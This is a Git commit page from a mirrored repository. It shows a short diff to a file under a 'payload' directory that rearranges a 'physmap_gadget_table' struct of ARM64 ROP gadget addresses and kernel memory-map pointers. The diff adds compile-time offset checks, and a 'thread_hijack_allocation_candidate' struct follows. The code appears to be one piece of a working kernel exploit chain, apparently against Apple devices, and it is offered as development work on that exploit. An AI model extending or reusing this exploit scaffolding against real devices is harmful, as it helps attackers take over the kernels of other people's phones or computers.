CalvinBackup/coruna
1
0
Fork 0
mirror of https://github.com/khanhduytran0/coruna.git synced 2026-08-28 21:10:38 +02:00
Code Issues Packages Projects Releases Wiki Activity

Fix physmap gadget table layout

Browse Source
This commit is contained in:
khanhduytran0
2026-06-16 06:01:32 +07:00
parent 670f139d09
commit 6e794dd309
1 changed files with 12 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/payload_377bed/entry1_type0x09.m
+12 -4
View File
@@ -1726,7 +1726,11 @@ ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte);
struct physmap_gadget_table struct physmap_gadget_table
{ {
uint32_t exceptionReturnWords[11]; union
{
uint32_t exceptionReturnWords[11];
uint16_t exceptionReturnHalfwords[22];
};
uint64_t ldrX0Ret; uint64_t ldrX0Ret;
uint64_t movX15BrX17; uint64_t movX15BrX17;
uint64_t movX15BrX21; uint64_t movX15BrX21;
@@ -1736,14 +1740,18 @@ struct physmap_gadget_table
uint64_t movX0Ret; uint64_t movX0Ret;
uint64_t movX0X19Ret; uint64_t movX0X19Ret;
uint64_t adrDataRef; uint64_t adrDataRef;
uint64_t strDwordPtrRet;
uint64_t interruptDisableRet;
uint64_t jumpTarget; uint64_t jumpTarget;
uint64_t vmPageArray; uint64_t vmPageArray;
uint64_t pmapTteTable; uint64_t pmapTteTable;
uint64_t vmFirstPhysPaddr;
}; };
typedef char physmap_gadget_table_ldr_offset_must_be_0x30[
__builtin_offsetof(struct physmap_gadget_table, ldrX0Ret) == 0x30 ? 1 : -1];
typedef char physmap_gadget_table_jump_offset_must_be_0x78[
__builtin_offsetof(struct physmap_gadget_table, jumpTarget) == 0x78 ? 1 : -1];
typedef char physmap_gadget_table_pmap_offset_must_be_0x88[
__builtin_offsetof(struct physmap_gadget_table, pmapTteTable) == 0x88 ? 1 : -1];
struct thread_hijack_allocation_candidate struct thread_hijack_allocation_candidate
{ {
uint64_t size; uint64_t size;